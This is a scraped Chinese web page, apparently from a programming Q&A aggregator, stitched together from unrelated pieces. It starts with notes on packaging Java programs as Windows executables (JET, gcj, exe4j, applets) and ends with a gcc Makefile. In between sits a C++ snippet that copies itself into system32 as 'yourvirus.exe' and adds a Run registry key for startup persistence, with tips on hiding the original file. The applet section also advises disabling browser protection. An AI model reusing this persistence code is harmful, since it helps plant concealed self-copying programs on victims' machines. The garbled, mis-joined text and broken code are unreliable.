在安装过程中,用户可以选择使用他机器上的JRE或是这个安装包内的JRE来运行程序。这是很常见的一种做法,显得比较专业,而且原来的程序不需要作任何改动,安装后的程序即在JVM上运行,可以获得原本的效果。如JBuilder就是这么做的。InstallAnywhere中一个压缩的JRE大概是8M,它可以针对linux、 win、mac等多个 *** 作系统打包。
(2) 使用JET、gcj等工具,将应用程序制作成一个真正的exe文件。
采用这种方式做成的exe文件可以直接在没有安装JRE的计算机上运行。Java类库全部被编译成dll,变为本地调用。
JET是收费的(从 http://www.excelsior-usa.com/jetdlevala.html可以下载3.6试用版)。JET安装好以后,它要把系统上安装的JDK编译一下,要等很久。如果JDK是1.4.2_05版还需要打一个补丁。
gcj有windows和Linux版,直接下载zip包,不需要安装。里面有不少例子,一些build的批处理文件。从原理来说,gcj自己实现了 JVM规范,当运行用gcj制作的exe(大约2M)时会启动里面的一个小型jvm,在上面跑应用程序。不过,gcj目前还不能完整地支持Swing。
但不管怎样,把Java做成纯exe实在是吃力不讨好,有很多限制,文件又大。
(3) 使用exe4j制作伪exe文件。
原理:可执行的jar包文件可以通过命令行java -jar jarfile.jar来执行。制作伪exe其实做法一样,只不过做成exe,调用系统中的java.exe来运行它。
一般情况下,exe4j做成的可执行文件仍需JRE支持,也就是说只能在安装了JRE的计算机上运行。不过有一种方法可制作伪exe文件,在没有安装 JVM的机器上也能运行:虽然exe4j并不提供将JRE打包的功能,但是它提供如何搜索JRE的方法。在第六项设定[JRE]中有一步[Search sequence],添加一个Directory方式的搜索入口,指定是相对目录“.” ,然后把JRE目录中的bin和lib两个目录复制到你的发布目录中就可以了。(当然你可以不用当前目录“.”,任何当前目录下的其他目录也可以,比方 “./JRE”之类的)。此时发布目录中生成的exe文件就在运行时就会调用当前目录中的JRE,而不是通过系统注册表及环境变量寻找JRE了,所以只要把整个发布目录(含exe及JRE的bin和lib)复制到其他计算机上,也就实现了“目标机即便没有安装过JRE也可以执行”。当然,这种发布方式无法得到一个内含JRE的单独的exe文件。另外,JRE的完整目录有50M,但是我们的程序只可能调用其中很少的一部分,你可以手动为发布目录中的JRE减肥、去掉不使用的文件,但这需要一定的经验。减肥后的JRE根据应用程序的不同,最小可以只有10M左右。
(4) 把java应用程序最后做成applet。
将java applet编入html文件,用浏览器方式打开,可以在任何没有安装JRE的机器上运行,好比exe文件一样(当然在安装了JRE的计算机上也可以用批处理文件或java命令来运行)。Windows IE打开applet靠的是一个叫“micosoft VM”的东西,现在该软件一般都是自带的。不过,Windows IE支持的JDK最高版本只能到JDK1.1。如果别人的机器运行不了applet,无非这三个原因:
a. 程序编译时使用的JDK版本太高,Windows IE不支持。用较老板版本的编译器重新编译(v1.1之前)就可以了。比如在dos下javac -target 1.1 *.jav(强制使用JDK1.1编译源程序)。
b. 用户的Windows没有micosoft vm(这种情况比较少见,只有windows XP第一版等极少数情况)。这种情况下,当客户的IE每次load applet时候, Windows会提示“没有download micosoft VM”,他只需从网上下一个就可以了。
c. 用户计算机上装有一些保护ie的软件(比如最新的windows sp2有时就会防止java applet的loading)。暂时关闭保护功能就可以了。
(5) 使用JBuilder、exe4j等工具制作成需要JRE支持的exe文件。
#include<windows.h>
#include
<iostream.h>
/*
功能:使文件开机自动运行
思路:
获取文件的路径,将文件拷贝到系统文件夹之下
在注册表中注册文件路径,使其开机自动运行。
提示:
如果要隐藏,另外可以在以上执行完毕之后,删除原始文件.
当然,还可以通过注册程序为系统服务,使其开机自动运行.
删除:
在执行程序之后,执行以下 *** 作,使系统恢复原状:
1.
删除
C:\WINDOWS\system32\yourvirus.exe
2.
打开注册表:
[HEKY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
删除键:Writing
to
the
Registry
Example
*/
void
main()
{
char
system[MAX_PATH]
//系统目录路径
char
pathtofile[MAX_PATH]
//要开机运行的文件的完整路径
HMODULE
GetModH
=
GetModuleHandle(NULL)
//得到当前执行文件的全路径
GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile))
//得到系统文件所在目录的路径,如c:\windows\system32
GetSystemDirectory(system,sizeof(system))
//形成要复制到的全路径,如c:\windows\system32\yourvirus.exe
strcat(system,"\\yourvirus.exe")
//自我复制到目标路径
CopyFile(pathtofile,system,false)
//写入注册表,以便开机自动运行
HKEY
hKey
//打开注册表:路径如下
//HEKY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey
)
//新增一个值,名称随意命名,值为要开机运行的文件的完整路径
RegSetValueEx(hKey,
"Writing
to
the
Registry
Example",
0,REG_SZ,(const
unsigned
char*)system,sizeof(system))
//关闭注册表:
RegCloseKey(hKey)
/*可以加入其他功能*/
}
你可以根据这样的方法来编写: b074@gliethttp:~/work/gunzip$ cat MakefileCC = gcc-4.1LD = gcc-4.1CFLAGS = -Wall -c -Dgliethttp -I.LDFLAGS = -lpthreadSRCS = $(wildcard *.c)OBJS = $(patsubst %c,%o,$(SRCS))TARGET = gliethttp.PHONY: all cleanall: $(TARGET)$(TARGET): $(OBJS)$(LD) $(LDFLAGS) -o $@ $^%o: %c$(CC) $(CFLAGS) -o $@ $<clean:@rm -f *.o $(TARGET)编译当前Makefile所在目录下的所有.c文件执行makemake clean欢迎分享,转载请注明来源:内存溢出
评论列表(0条)